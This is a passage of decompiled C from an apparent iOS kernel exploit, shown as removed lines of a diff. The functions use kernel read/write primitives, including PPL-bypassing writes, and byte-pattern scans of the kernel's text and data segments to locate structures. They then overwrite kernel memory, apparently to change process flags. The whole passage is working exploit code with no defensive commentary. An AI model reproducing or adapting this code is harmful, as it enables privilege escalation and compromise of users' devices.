sub_2811C((__int64)a1); - fd_close(v27); - } - } - sub_25C6C((__int64)a1); - mach_port_deallocate(mach_task_self_, *((_DWORD *)a1 + 0x648)); - v9 = *((_DWORD *)a1 + 0x649); - if ( v9 + 1 >= 2 ) - mach_port_deallocate(mach_task_self_, v9); - v10 = *((_DWORD *)a1 + 4); - if ( v10 + 1 >= 2 ) - IOObjectRelease(v10); - if ( (unsigned int)(*((_DWORD *)a1 + 0x636) + 1) >= 2 ) - *((_DWORD *)a1 + 0x636) = 0; - v11 = *((_QWORD *)a1 + 0x23); - if ( v11 ) - { - v12 = *((_QWORD *)a1 + 0x24); - if ( v12 ) - vm_deallocate(mach_task_self_, v11, v12); - } - v13 = *((_DWORD *)a1 + 0x99); - if ( v13 + 1 >= 2 ) - { - semaphore_destroy(mach_task_self_, v13); - *((_DWORD *)a1 + 0x99) = 0; - } - if ( !pthread_mutex_lock((pthread_mutex_t *)(a1 + 0x330)) ) - { - v14 = (_DWORD *)*((_QWORD *)a1 + 0x6E); - *((_QWORD *)a1 + 0x6E) = 0LL; - if ( v14 ) - { - do - { - v15 = v14[7]; - if ( v15 + 1 >= 2 ) - mach_port_mod_refs(mach_task_self_, v15, 1u, 0xFFFFFFFF); - v16 = *(_DWORD **)v14; - *((_QWORD *)v14 + 4) = 0LL; - *(_OWORD *)v14 = 0u; - *((_OWORD *)v14 + 1) = 0u; - free(v14); - v14 = v16; - } - while ( v16 ); - } - pthread_mutex_unlock((pthread_mutex_t *)(a1 + 0x330)); - } - pthread_mutex_destroy((pthread_mutex_t *)(a1 + 0x330)); - pthread_mutex_destroy((pthread_mutex_t *)(a1 + 0x268)); - v17 = *((_QWORD *)a1 + 0x3A3); - if ( v17 ) - { - sub_1A520(v17); - free(*((void **)a1 + 0x3A3)); - *((_QWORD *)a1 + 0x3A3) = 0LL; - } - v18 = *((_QWORD *)a1 + 0x3A4); - if ( v18 ) - { - sub_1A520(v18); - free(*((void **)a1 + 0x3A4)); - *((_QWORD *)a1 + 0x3A4) = 0LL; - } - v19 = *((_QWORD *)a1 + 0x3A5); - if ( v19 ) - { - sub_1A520(v19); - free(*((void **)a1 + 0x3A5)); - *((_QWORD *)a1 + 0x3A5) = 0LL; - } - v20 = *((_QWORD *)a1 + 0x3A6); - if ( v20 ) - { - sub_1A520(v20); - free(*((void **)a1 + 0x3A6)); - *((_QWORD *)a1 + 0x3A6) = 0LL; - } - v21 = *((_QWORD *)a1 + 0x3A7); - if ( v21 ) - { - sub_1A520(v21); - free(*((void **)a1 + 0x3A7)); - *((_QWORD *)a1 + 0x3A7) = 0LL; - } - v22 = *((_QWORD *)a1 + 0x340); - if ( v22 ) - { - sub_1A520(v22); - free(*((void **)a1 + 0x340)); - *((_QWORD *)a1 + 0x340) = 0LL; - } - v23 = *((_QWORD *)a1 + 0x33F); - if ( v23 ) - { - sub_1A520(v23); - free(*((void **)a1 + 0x33F)); - *((_QWORD *)a1 + 0x33F) = 0LL; - } - v24 = (void *)*((_QWORD *)a1 + 0x3A2); - if ( v24 ) - { - free(v24); - *((_QWORD *)a1 + 0x3A2) = 0LL; - *((_DWORD *)a1 + 0x742) = 0; - } - v25 = *((_DWORD *)a1 + 0x3A); - if ( v25 + 1 >= 2 ) - { - mach_port_deallocate(mach_task_self_, v25); - *((_DWORD *)a1 + 0x3A) = 0; - } - bzero(a1, 0x1D60uLL); - free(a1); - return 0LL; -} - -//----- (000000000003F8C0) ---------------------------------------------------- -__int64 __fastcall set_flags_something_INEEDTOLOOK_sub_3F8C0(__int64 a1, unsigned int a2, int a3, int a4) -{ - __int64 result; // x0 - unsigned __int64 v8; // x22 - unsigned int v9; // w9 - int v10; // w2 - int v11; // [xsp+Ch] [xbp-34h] BYREF - - if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) - { - v8 = sub_345D4(a1, a2); - if ( !v8 ) - return 0LL; - } - else - { - result = sub_34358((_DWORD *)a1, a2); - if ( !result ) - return result; - v8 = result + 0x28; - if ( result == 0xFFFFFFFFFFFFFFD8LL ) - return 0LL; - } - result = kread32_outptr(a1, v8, &v11); - if ( !(_DWORD)result ) - return result; - if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) - v9 = 0xF0000000; - else - v9 = 0xFFFFFFFE; - if ( (v9 & v11) != 0 ) - return 0LL; - if ( a4 ) - v10 = v11 | a3; - else - v10 = v11 & ~a3; - if ( v10 == v11 ) - return 1LL; - result = ppl_kwrite32(a1, v8, v10); - if ( (_DWORD)result ) - return 1LL; - return result; -} - -//----- (000000000003F9A0) ---------------------------------------------------- -__int64 __fastcall sub_3F9A0(_DWORD *a1, bool *a2) -{ - __int64 result; // x0 - unsigned __int8 v5; // [xsp+Fh] [xbp-21h] BYREF - __int64 v6; // [xsp+10h] [xbp-20h] BYREF - __int64 v7; // [xsp+18h] [xbp-18h] BYREF - - v6 = 0LL; - v7 = 0LL; - result = sub_3FB84((__int64)a1, &v7, &v6); - if ( (_DWORD)result ) - { - krw_ctx_has_flag(a1, 0x5184001); - if ( (unsigned int)kreadbuf_last_1((__int64)a1, v7, 1LL, (__int64)&v5) && v5 <= 1u ) - { - *a2 = v5 != 0; - return 1LL; - } - else - { - return 0LL; - } - } - return result; -} - -//----- (000000000003FA2C) ---------------------------------------------------- -__int64 __fastcall sub_3FA2C(_DWORD *a1, int a2) -{ - __int64 result; // x0 - unsigned __int64 v5; // x22 - unsigned __int64 v6; // x21 - int v7; // w8 - __int64 v8; // x21 - unsigned __int8 v9; // [xsp+Eh] [xbp-32h] BYREF - unsigned __int8 v10; // [xsp+Fh] [xbp-31h] BYREF - unsigned __int64 v11; // [xsp+10h] [xbp-30h] BYREF - unsigned __int64 v12; // [xsp+18h] [xbp-28h] BYREF - - v11 = 0LL; - v12 = 0LL; - result = sub_3FB84((__int64)a1, (__int64 *)&v11, (__int64 *)&v12); - if ( (_DWORD)result ) - { - if ( krw_ctx_has_flag(a1, 0x5184001) ) - { - v5 = v12; - if ( !(unsigned int)kreadbuf_last_1((__int64)a1, v12, 1LL, (__int64)&v10) ) - return 0LL; - if ( v10 > 1u ) - return 0LL; - v6 = v11; - if ( !(unsigned int)kreadbuf_last_1((__int64)a1, v11, 1LL, (__int64)&v9) ) - return 0LL; - v7 = v9; - if ( v9 > 1u ) - return 0LL; - if ( v10 != a2 ) - { - v10 = a2; - if ( !(unsigned int)ppl_kwritebuf((__int64)a1, v5, (__int64)&v10, 1) ) - return 0LL; - v7 = v9; - } - if ( v7 != a2 ) - { - v9 = a2; - if ( !(unsigned int)ppl_kwritebuf((__int64)a1, v6, (__int64)&v9, 1) ) - return 0LL; - } - } - else - { - v8 = v11; - if ( !(unsigned int)kreadbuf_last_1((__int64)a1, v11, 1LL, (__int64)&v10) ) - return 0LL; - if ( v10 > 1u ) - return 0LL; - if ( v10 != a2 ) - { - v10 = a2; - if ( !(unsigned int)kwritebuf_last_1((__int64)a1, v8, (__int64)&v10, 1LL) ) - return 0LL; - } - } - return 1LL; - } - return result; -} - -//----- (000000000003FB84) ---------------------------------------------------- -__int64 __fastcall sub_3FB84(__int64 a1, __int64 *a2, __int64 *a3) -{ - __int64 v6; // x8 - __int64 v7; // x22 - __int64 v8; // x23 - __int64 result; // x0 - __int64 v10; // x22 - int v11; // w22 - char *v12; // x1 - __int64 v13; // x23 - __int64 v15; // x8 - __int64 v16; // [xsp+0h] [xbp-50h] BYREF - __int64 v17; // [xsp+8h] [xbp-48h] - __int64 v18; // [xsp+10h] [xbp-40h] - __int64 v19; // [xsp+18h] [xbp-38h] BYREF - - v19 = 0LL; - v6 = *(_QWORD *)(a1 + 0x118); - if ( v6 && *(_QWORD *)(a1 + 0x120) ) - { - v7 = *(_QWORD *)(v6 + 0x148); - v19 = v7; - if ( !krw_ctx_has_flag((_DWORD *)a1, 0x5184001) && v7 ) - { - *a2 = v7; - return 1LL; - } - v8 = *(_QWORD *)(*(_QWORD *)(a1 + 0x118) + 0x140LL); - if ( krw_ctx_has_flag((_DWORD *)a1, 0x5184001) && v7 && v8 != 0 ) - { - *a2 = v7; - *a3 = v8; - return 1LL; - } - } - else - { - v8 = 0LL; - } - if ( krw_ctx_has_flag((_DWORD *)a1, 0x20) ) - { - sub_19C34("__TEXT_EXEC", *(_QWORD *)(a1 + 0x19F8), "__text", &v16); - result = 0LL; - if ( v17 ) - { - if ( v18 ) - { - result = kernel_pattern_scan((__int64)&v16, "08 01 40 39 08 01 00 12", 0); - if ( result ) - { - result = sub_1E854(*(__int64 **)(a1 + 0x19F8), (__int64 *)(result - 0xC)); - if ( result ) - { - result = kread64((_DWORD *)a1, result, &v19); - if ( (_DWORD)result ) - { - result = v19; - *a2 = v19; - v10 = result - 1; - goto LABEL_40; - } - } - } - } - } - } - else if ( krw_ctx_has_flag((_DWORD *)a1, 0x5184001) ) - { - v11 = *(_DWORD *)(a1 + 0x140); - sub_39B70(a1, &v16); - result = 0LL; - if ( v17 && v18 ) - { - v12 = v11 <= 0x225B ? "6A 00 00 37 40 00 00 34" : "6B 00 00 37 40 00 00 34"; - result = kernel_pattern_scan((__int64)&v16, v12, 0); - if ( result ) - { - v13 = result; - result = sub_1E854(*(__int64 **)(a1 + 0x19F8), (__int64 *)(result - 0x10)); - if ( result ) - { - v10 = result; - result = sub_1E854(*(__int64 **)(a1 + 0x19F8), (__int64 *)(v13 - 8)); - v19 = result; - if ( result ) - { - *a2 = result; - v8 = v10; -LABEL_40: - *a3 = v10; - v15 = *(_QWORD *)(a1 + 0x118); - if ( v15 ) - { - if ( *(_QWORD *)(a1 + 0x120) ) - { - *(_QWORD *)(v15 + 0x140) = v8; - *(_QWORD *)(v15 + 0x148) = result; - } - } - return 1LL; - } - } - } - } - } - else - { - sub_39B70(a1, &v16); - result = 0LL; - if ( v17 && v18 ) - { - if ( *(_QWORD *)(a1 + 0x158) < 0x225C192D100000uLL ) - { - result = kernel_pattern_scan((__int64)&v16, "09 FD 9F 08 C0 03 5F D6", 0); - if ( !result ) - return result; - result = sub_1E854(*(__int64 **)(a1 + 0x19F8), (__int64 *)(result - 0xC)); - } - else - { - result = kernel_pattern_scan((__int64)&v16, "09 01 00 39 C0 03 5F D6", 0); - if ( !result ) - return result; - result = sub_1E854(*(__int64 **)(a1 + 0x19F8), (__int64 *)(result - 0xC)); - if ( !result ) - return result; - result = sub_19B94(*(_QWORD *)(a1 + 0x19F8), result); - } - v19 = result; - if ( !result ) - return result; - v10 = 0LL; - *a2 = result; - goto LABEL_40; - } - } - return result; -} -// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); - -//----- (000000000003FE68) ---------------------------------------------------- -void __fastcall sub_3FE68(__int64 a1, task_inspect_t a2, host_t *a3) -{ - host_t v4; // w2 - int v6; // w0 - - v4 = *(_DWORD *)(a1 + 0x1920); - if ( v4 + 1 >= 2 ) - { - if ( *(_QWORD *)(a1 + 0x158) >= 0x1C1B1914600000uLL ) - { - sub_3B7E0(a1, a2, v4); - if ( !v6 ) - return; - v4 = *(_DWORD *)(a1 + 0x1920); - } - *a3 = v4; - } -} -// 3FEB8: variable 'v6' is possibly undefined - -//----- (000000000003FED4) ---------------------------------------------------- -_QWORD *__fastcall sub_3FED4(__int64 a1, __int64 a2) -{ - _QWORD *v4; // x21 - _QWORD *v5; // x22 - size_t v6; // x19 - void *v7; // x23 - __int64 v8; // x8 - - v4 = calloc(1uLL, 0x18uLL); - v5 = calloc(1uLL, 0x48uLL); - sub_1062C(a1, a2, (__int64)v5, 0x48LL); - *v4 = v5; - v6 = v5[4]; - v7 = malloc(v6); - sub_1062C(a1, v5[3], (__int64)v7, v6); - v8 = v5[4]; - v4[1] = v7; - v4[2] = v8; - return v4; -} - -//----- (000000000003FF78) ---------------------------------------------------- -__int64 __fastcall sub_3FF78(__int64 a1, _QWORD *a2, __int64 a3) -{ - return *(unsigned int *)(a2[1] + a3 - *(_QWORD *)(*a2 + 0x18LL)); -} - -//----- (000000000003FF8C) ---------------------------------------------------- -unsigned __int64 __fastcall sub_3FF8C(_QWORD **a1, __int64 a2, __int64 a3, unsigned int a4) -{ - return sub_3FFA0((__int64)a1, *a1, a2, a3, a4); -} - -//----- (000000000003FFA0) ---------------------------------------------------- -unsigned __int64 __fastcall sub_3FFA0(__int64 a1, _QWORD *a2, __int64 a3, __int64 a4, unsigned int a5) -{ - unsigned __int64 v5; // x8 - unsigned __int64 v6; // x9 - unsigned __int64 v7; // x10 - __int64 v8; // x12 - unsigned __int64 result; // x0 - - v5 = a2[1]; - v6 = v5 + a2[2] - 4LL * a5; - if ( v6 <= v5 ) - return 0LL; - v7 = a2[1]; - while ( a5 ) - { - v8 = 0LL; - while ( (*(_DWORD *)(a4 + v8) & *(_DWORD *)(v7 + v8)) == *(_DWORD *)(a3 + v8) ) - { - v8 += 4LL; - if ( 4LL * a5 == v8 ) - return v7 - v5 + *(_QWORD *)(*a2 + 0x18LL); - } - result = 0LL; - v7 += 4LL; - if ( v7 >= v6 ) - return result; - } - v7 = a2[1]; - return v7 - v5 + *(_QWORD *)(*a2 + 0x18LL); -} - -//----- (0000000000040024) ---------------------------------------------------- -unsigned __int64 __fastcall sub_40024(__int64 a1, __int64 a2, __int64 a3, unsigned int a4) -{ - return sub_3FFA0(a1, *(_QWORD **)(a1 + 8), a2, a3, a4); -} - -//----- (0000000000040038) ---------------------------------------------------- -_QWORD *__fastcall sub_40038(__int64 a1, const char *a2) -{ - unsigned __int64 *v4; // x0 - unsigned __int64 v5; // x21 - int v6; // w0 - int v7; // w22 - unsigned __int64 v8; // x21 - int v9; // w24 - unsigned int v10; // w23 - char __s1[8]; // [xsp+8h] [xbp-48h] BYREF - __int64 v13; // [xsp+10h] [xbp-40h] - - v4 = *(unsigned __int64 **)(a1 + 0x10); - v5 = *v4; - if ( (unsigned int)kread32((__int64)v4, *v4) != 0xFEEDFACF ) - return 0LL; - v6 = kread32(*(_QWORD *)(a1 + 0x10), v5 + 0x10); - if ( !v6 ) - return 0LL; - v7 = v6; - v8 = v5 + 0x20; - while ( 1 ) - { - v9 = kread32(*(_QWORD *)(a1 + 0x10), v8); - v10 = kread32(*(_QWORD *)(a1 + 0x10), v8 + 4); - if ( v9 == 0x19 ) - { - *(_QWORD *)__s1 = 0LL; - v13 = 0LL; - sub_1062C(*(_QWORD *)(a1 + 0x10), v8 + 8, (__int64)__s1, 0x10LL); - if ( !strcmp(__s1, a2) ) - break; - } - v8 += v10; - if ( !--v7 ) - return 0LL; - } - return sub_3FED4(*(_QWORD *)(a1 + 0x10), v8); -} - -//----- (000000000004014C) ---------------------------------------------------- -__int64 __fastcall sub_4014C(_QWORD *a1) -{ - _QWORD *v2; // x0 - bool v3; // zf - - *a1 = sub_40038((__int64)a1, "__TEXT_EXEC"); - v2 = sub_40038((__int64)a1, "__DATA_CONST"); - a1[1] = v2; - if ( v2 ) - v3 = *a1 == 0LL; - else - v3 = 1; - if ( v3 ) - return 5LL; - else - return 0LL; -} - -//----- (00000000000401A4) ---------------------------------------------------- -__int64 __fastcall sub_401A4(__int64 result, __int64 a2) -{ - unsigned int v2; // w8 - unsigned int v3; // w9 - - v2 = *(_DWORD *)(result + 0x180); - if ( !((unsigned int)a2 % v2) ) - return a2; - v3 = 2 * v2; - if ( 2 * v2 > 0x8000 ) - return *(unsigned int *)(result + 0x180); - LODWORD(result) = *(_DWORD *)(result + 0x180); - do - { - if ( 0x64 * (v3 % (unsigned int)a2) / v3 >= 0x64 * ((unsigned int)result % (unsigned int)a2) / (unsigned int)result ) - result = (unsigned int)result; - else - result = v3; - v3 += v2; - } - while ( v3 <= 0x8000 ); - return result; -} - -//----- (0000000000040210) ---------------------------------------------------- -__int64 __fastcall sub_40210(__int64 a1) -{ - unsigned int v1; // w8 - - v1 = 4 * *(_DWORD *)(a1 + 0x180); - if ( v1 <= 0x4000 ) - v1 = 0x4000; - return (v1 >> 1) | 1; -} - -//----- (0000000000040230) ---------------------------------------------------- -__int64 __fastcall sub_40230(__int64 a1, _OWORD *a2, _DWORD *a3) -{ - int v3; // w8 - __int64 result; // x0 - bool v5; // zf - int v6; // w9 - - v3 = *(_DWORD *)(a1 + 0x140); - result = 0xFFFFFFFFLL; - if ( v3 > 0x2257 ) - { - v5 = v3 == 0x2258 || v3 == 0x2712; - v6 = 0x225C; - } - else - { - v5 = (unsigned int)(v3 - 0x1F53) < 2 || v3 == 0x1809; - v6 = 0x1C1B; - } - if ( v5 || v3 == v6 ) - { - if ( a2 ) - { - if ( *a3 < 0x1Bu ) - return 0xFFFFFFFFLL; - *a2 = xmmword_43760; - a2[1] = unk_43770; - *(_OWORD *)((char *)a2 + 0x5C) = unk_437BC; - a2[4] = xmmword_437A0; - a2[5] = unk_437B0; - a2[2] = xmmword_43780; - a2[3] = unk_43790; - } - result = 0LL; - *a3 = 0x1B; - } - return result; -} -// 43760: using guessed type __int128 xmmword_43760; -// 43780: using guessed type __int128 xmmword_43780; -// 437A0: using guessed type __int128 xmmword_437A0; - -//----- (00000000000402CC) ---------------------------------------------------- -__int64 __fastcall sub_402CC(__int64 a1, unsigned int a2) -{ - __int64 result; // x0 - __int64 v4; // x8 - unsigned int *i; // x9 - unsigned int v6; // [xsp+4h] [xbp-11Ch] BYREF - _OWORD v7[16]; // [xsp+8h] [xbp-118h] BYREF - - v6 = 0x40; - if ( (unsigned int)sub_40230(a1, v7, &v6) ) - return 0LL; - v4 = v6; - if ( !v6 ) - return 0LL; - for ( i = (unsigned int *)v7; ; ++i ) - { - result = *i; - if ( (unsigned int)result >= a2 ) - break; - if ( !--v4 ) - return 0LL; - } - return result; -} - -//----- (0000000000040364) ---------------------------------------------------- -__int64 __fastcall sub_40364(__int64 a1, unsigned __int64 a2, unsigned int a3, unsigned int a4) -{ - unsigned __int64 v4; // x10 - __int64 v5; // x8 - unsigned __int64 v6; // x11 - unsigned __int64 v7; // x12 - unsigned __int64 v8; // x10 - unsigned __int64 v9; // x10 - - v4 = *(unsigned int *)(a1 + 0x180); - if ( (_DWORD)v4 == a4 ) - { - a2 &= ~*(_QWORD *)(a1 + 0x188); - } - else - { - v5 = a4 % a3; - if ( *(_QWORD *)(a1 + 0x158) >> 0x2B < 0x44BuLL ) - v5 = 0LL; - v6 = a2 + a3; - v7 = v6 % v4; - v8 = v4 - v6 % v4; - if ( !v7 ) - v8 = 0LL; - v9 = v6 - a4 + v8; - while ( v5 != (*(_QWORD *)(a1 + 0x188) & a2) ) - { - a2 -= a3; - if ( a2 < v9 ) - return 0LL; - } - } - return a2; -} - -//----- (00000000000403E0) ---------------------------------------------------- -unsigned __int64 __fastcall sub_403E0(__int64 a1, const char *a2) -{ - int v4; // w8 - unsigned __int64 v5; // x21 - __int64 v6; // x23 - unsigned __int64 v7; // x0 - unsigned __int64 v8; // x22 - __int64 v9; // x25 - unsigned __int64 v10; // x0 - unsigned __int64 v11; // x23 - unsigned __int64 v12; // x8 - unsigned __int64 v13; // x0 - const char *v14; // x24 - char *v15; // x22 - char v16; // w26 - __int64 v17; // x27 - __int64 v18; // x0 - _QWORD v20[3]; // [xsp-10h] [xbp-F0h] - __int64 *v21; // [xsp+8h] [xbp-D8h] BYREF - unsigned __int64 v22; // [xsp+10h] [xbp-D0h] - __int64 v23; // [xsp+18h] [xbp-C8h] - _QWORD v24[3]; // [xsp+20h] [xbp-C0h] BYREF - _BYTE v25[80]; // [xsp+38h] [xbp-A8h] BYREF - - v4 = *(_DWORD *)(a1 + 0x140); - if ( (unsigned int)(v4 - 0x1F53) >= 2 ) - { - if ( v4 != 0x1C1B ) - return 0LL; - if ( *(_QWORD *)(a1 + 0x158) <= 0x1C1B19145FFFFFuLL ) - v5 = 0x88LL; - else - v5 = 0xA8LL; - v6 = 0x192LL; - } - else - { - v5 = 0xA8LL; - v6 = 0x289LL; - } - v7 = *(_QWORD *)(a1 + 0x19A0); - if ( v7 ) - goto LABEL_9; - __chkstk_darwin(); - if ( *(_QWORD *)(a1 + 0x158) <= 0x1C1B19145FFFFFuLL ) - v15 = "28 69 68 78 09 11 80 52"; - else - v15 = "08 29 40 92 09 15 80 52"; - v20[0] = v15; - v20[1] = 0LL; - v16 = 1; - v17 = 1LL; - if ( v15 ) - { -LABEL_22: - sub_19D10(*(_QWORD *)(a1 + 0x19F8), v24); - v18 = kernel_pattern_scan((__int64)v24, v15, 0); - if ( !v18 ) - goto LABEL_23; - v7 = sub_1E620(*(__int64 **)(a1 + 0x19F8), v18 + 8); - if ( v7 ) - { - *(_QWORD *)(a1 + 0x19A0) = v7; -LABEL_9: - v8 = v5 + v7; - v9 = v6 - 1; - do - { - v21 = *(__int64 **)(a1 + 0x19F8); - v22 = v8; - v23 = v5; - v10 = sub_197A8(&v21); - if ( !v10 ) - break; - v11 = v10; - sub_19AC4(*(_QWORD *)(a1 + 0x19F8), v10, v5, 0LL); - v12 = *(_QWORD *)(v11 + 0x10); - if ( v12 ) - { - v21 = *(__int64 **)(a1 + 0x19F8); - v22 = v12; - v23 = 0x50LL; - v13 = sub_197A8(&v21); - if ( v13 ) - { - v14 = (const char *)v13; - sub_19AC4(*(_QWORD *)(a1 + 0x19F8), v13, 0x50uLL, 0LL); - } - else - { - v14 = v25; - v25[0] = 0; - kreadbuf_last_1(a1, *(_QWORD *)(v11 + 0x10), 0x50LL, (__int64)v25); - } - if ( !strcmp(a2, v14) ) - return v8; - } - v8 += v5; - } - while ( --v9 ); - } - } - else - { -LABEL_23: - while ( (v16 & 1) != 0 ) - { - v16 = 0; - v15 = (char *)v20[v17]; - v17 = 2LL; - if ( v15 ) - goto LABEL_22; - } - } - return 0LL; -} -// 48940: using guessed type __int64 __chkstk_darwin(void); - -//----- (000000000004062C) ---------------------------------------------------- -__int64 __fastcall sub_4062C(__int64 a1, __int64 a2) -{ - __int64 v2; // x19 - int v4; // w8 - unsigned __int64 v8; // x21 - unsigned __int64 v9; // x23 - unsigned __int64 v10; // x27 - __int64 v11; // x24 - __int64 v12; // x0 - unsigned __int64 v13; // x0 - __int64 v14; // x0 - unsigned __int64 v15; // x0 - int v16; // w22 - __int64 v18; // [xsp+8h] [xbp-78h] BYREF - unsigned __int64 v19; // [xsp+10h] [xbp-70h] - __int64 v20; // [xsp+18h] [xbp-68h] - __int64 v21; // [xsp+20h] [xbp-60h] BYREF - __int64 v22; // [xsp+28h] [xbp-58h] BYREF - - v2 = 0xAD011LL; - v21 = 0LL; - if ( *(_QWORD *)(a1 + 0x158) < 0x1C1B1914600000uLL ) - return 0xAD008LL; - v4 = *(_DWORD *)(a1 + 0x140); - if ( (unsigned int)(v4 - 0x1F53) >= 2 && v4 != 0x2258 && v4 != 0x1C1B ) - return 0x2802CLL; - v8 = a2 + 0x28; - if ( !kread64((_DWORD *)a1, a2 + 0x28, &v22) ) - return 0x2800FLL; - if ( v22 ) - { - if ( validate_addr(a1, v22) ) - return 0LL; - else - return 0x28026LL; - } - sub_19C34("__DATA", *(_QWORD *)(a1 + 0x19F8), "__data", &v18); - v9 = v19; - if ( !v19 || !v20 ) - return 0x2800FLL; - v10 = v19 + v20 - 0x100; - if ( v19 < v10 ) - { - v11 = v18; - while ( 1 ) - { - v12 = sub_19B94(v11, v9); - v13 = sub_29CB0((_DWORD *)a1, v12); - if ( validate_addr_maybe2(a1, v13) ) - { - if ( !sub_19B94(v11, v9 + 8) && sub_19B94(v11, v9 + 0x10) == 0xA ) - { - if ( sub_19B94(v11, v9 + 0x18) ) - { - v14 = sub_19B94(v11, v9 + 0x20); - v15 = sub_29CB0((_DWORD *)a1, v14); - if ( validate_addr_maybe2(a1, v15) ) - break; - } - } - } - v9 += *(int *)(a1 + 0x168); - if ( v9 >= v10 ) - return v2; - } - if ( v9 ) - { - if ( !noppl_kwrite32(a1, a2 + 0x88, 0x10000) || !(unsigned int)kwritebuf_last_1(a1, v9 + 0x18, (__int64)&v21, 8LL) ) - return 0x28010LL; - v16 = 0x14; - v2 = 0xAD00BLL; - while ( 1 ) - { - sub_2AABC(a1, 0x3D090u); - if ( !kread64((_DWORD *)a1, v8, &v22) ) - break; - if ( v22 ) - return 0LL; - if ( !--v16 ) - return v2; - } - return 0x2800FLL; - } - } - return v2; -} -// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); - -//----- (000000000004087C) ---------------------------------------------------- -__int64 __fastcall sub_4087C( - __int64 a1, - __int64 a2, - mach_vm_size_t a3, - unsigned __int64 a4, - __int64 (__fastcall *a5)(__int64, __int64), - __int64 a6) -{ - unsigned int v11; // w26 - __int64 v12; // x25 - __int64 v13; // x8 - __int64 v14; // x24 - unsigned __int64 v15; // x8 - __int64 v16; // x9 - unsigned __int64 v17; // x15 - unsigned __int64 v18; // x16 - unsigned __int64 v19; // x17 - __int64 v20; // x8 - bool v21; // cc - int v22; // w0 - int v23; // w22 - int v24; // w8 - __int64 v25; // x0 - unsigned int v26; // w9 - __int64 v27; // x8 - int v28; // w22 - unsigned __int64 v29; // x1 - unsigned int v31; // [xsp+Ch] [xbp-184h] BYREF - __int64 v32; // [xsp+10h] [xbp-180h] BYREF - __int64 v33; // [xsp+18h] [xbp-178h] BYREF - unsigned __int64 v34; // [xsp+20h] [xbp-170h] BYREF - unsigned int v35; // [xsp+28h] [xbp-168h] BYREF - int v36; // [xsp+2Ch] [xbp-164h] BYREF - _OWORD v37[16]; // [xsp+30h] [xbp-160h] BYREF - - v36 = 0xFFFFFFFF; - v34 = 0LL; - LOWORD(v11) = 0xFFFF; - v12 = 0x2800FLL; - memset(v37, 0, sizeof(v37)); - v13 = 0x20LL; - if ( *(_QWORD *)(a1 + 0x158) > 0x1C1B19145FFFFFuLL ) - v13 = 0x28LL; - if ( !kread64((_DWORD *)a1, v13 + a2, &v33) ) - { - v14 = 0x2800FLL; - goto LABEL_56; - } - if ( !validate_addr(a1, v33) ) - goto LABEL_13; - if ( (unsigned int)(a3 - 1) > 0xFF ) - { - v14 = 0x28011LL; - goto LABEL_56; - } - v15 = *(_QWORD *)(a1 + 0x158); - if ( v15 <= 0x1C1B19145FFFFFLL ) - { - v20 = a4 | 1; - } - else - { - v16 = 0LL; - v17 = a4; - v18 = a4; - v19 = a4; - while ( (*(_QWORD *)(a1 + 0x188) & v19) != 0 ) - { - v19 -= (unsigned int)a3; - v18 += 1LL - (unsigned int)a3; - v17 += 4LL - (unsigned int)a3; - if ( (_DWORD)++v16 == 0x400 ) - { - v32 = a4 - ((unsigned __int64)(unsigned int)a3 << 0xA); -LABEL_13: - v14 = 0x28026LL; - goto LABEL_56; - } - } - v21 = v15 > 0x1F52FFFFFFFFFFLL; - v20 = v17 | 1; - if ( v21 ) - v20 = v18; - } - v32 = v20; - v14 = fd_open_dev_null(&v36); - if ( (_DWORD)v14 ) - goto LABEL_56; - if ( !kwritebuf_last_0(a1, a4, v37, a3) ) - goto LABEL_55; - v22 = sub_1F190(); - if ( *(_QWORD *)(a1 + 0x158) <= 0x1C1B19145FFFFFuLL ) - { - if ( !kreadbuf_last_0(a1, v33 + (unsigned int)(*(_DWORD *)(a1 + 0x180) * v22), *(int *)(a1 + 0x168), &v34) ) - goto LABEL_50; - if ( !validate_addr(a1, v34) ) - { -LABEL_49: - v12 = 0x28026LL; - goto LABEL_50; - } - while ( 1 ) - { - while ( 1 ) - { - v28 = sub_1F190(); - if ( !kreadbuf_last_0(a1, v33 + (unsigned int)(*(_DWORD *)(a1 + 0x180) * v28), 4uLL, &v35) ) - goto LABEL_50; - v34 = v35 | ((unsigned __int64)HIDWORD(v34) << 0x20); - if ( !kreadbuf_last_0(a1, v34, 4uLL, &v31) ) - goto LABEL_50; - if ( !v31 ) - break; - if ( v31 > 8 ) - { -LABEL_51: - v12 = 0x28011LL; - goto LABEL_50; - } - if ( (unsigned int)sub_1F190() == v28 ) - { - v29 = v34 + (v31 - 1) * *(_DWORD *)(a1 + 0x168) + 8; - goto LABEL_53; - } - } - if ( a5 ) - { - v25 = a5(a1, a6); - if ( (_DWORD)v25 ) - break; - } - } -LABEL_48: - v12 = v25; -LABEL_50: - v14 = v12; - goto LABEL_56; - } - if ( !kreadbuf_last_0(a1, v33 + (unsigned int)(*(_DWORD *)(a1 + 0x180) * v22) + 8, *(int *)(a1 + 0x168), &v34) ) - goto LABEL_50; - if ( !validate_addr(a1, v34) ) - goto LABEL_49; - v23 = sub_1F190(); - if ( !kreadbuf_last_0(a1, v33 + (unsigned int)(*(_DWORD *)(a1 + 0x180) * v23), 4uLL, &v31) ) - goto LABEL_50; - while ( 1 ) - { - v24 = (unsigned __int16)v31; - if ( !(_WORD)v31 ) - { - v11 = HIWORD(v31); - if ( !HIWORD(v31) ) - { - if ( a5 ) - { - v25 = a5(a1, a6); - if ( (_DWORD)v25 ) - goto LABEL_48; - } - goto LABEL_36; - } - } - v26 = (unsigned __int16)v11; - if ( (_WORD)v31 ) - v26 = (unsigned __int16)v31; - v31 = v26; - if ( v26 - 1 > 7 ) - goto LABEL_51; - if ( v24 ) - v27 = 8LL; - else - v27 = 0x10LL; - if ( !kreadbuf_last_0(a1, v33 + v27 + (unsigned int)(*(_DWORD *)(a1 + 0x180) * v23), 4uLL, &v35) ) - goto LABEL_50; - LODWORD(v34) = v35; - if ( (unsigned int)sub_1F190() == v23 ) - break; -LABEL_36: - v23 = sub_1F190(); - if ( !kreadbuf_last_0(a1, v33 + (unsigned int)(*(_DWORD *)(a1 + 0x180) * v23), 4uLL, &v31) ) - goto LABEL_50; - } - v29 = v34 + (v31 - 1) * *(_DWORD *)(a1 + 0x168); -LABEL_53: - if ( kwritebuf_last_0(a1, v29, &v32, 4uLL) ) - { - v14 = 0LL; - goto LABEL_56; - } -LABEL_55: - v14 = 0x28010LL; -LABEL_56: - if ( v36 != 0xFFFFFFFF ) 